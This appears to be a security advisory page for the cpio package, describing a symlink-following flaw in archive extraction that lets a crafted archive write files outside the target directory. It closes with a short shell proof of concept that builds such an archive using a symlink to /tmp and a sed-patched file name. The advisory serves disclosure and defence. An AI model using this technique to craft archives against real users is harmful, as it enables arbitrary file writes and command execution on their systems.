Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsThere is no fixed version for cpio
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Affected versions of this package are vulnerable to Improper Link Resolution Before File Access ('Link Following') via the extraction process. An attacker can execute arbitrary commands on the target system by tricking a user into opening a specially crafted archive that contains symlinks leading outside of the intended directory.
mkdir testcpio
ln -sf /tmp/ testcpio/tmp
echo "TEST Traversal" > testcpio/tmpYtrav.txt
cd testcpio/
ls | cpio -ov > ../trav.cpio
cd ../
sed -i s/"tmpY"/"tmp\/"/g trav.cpio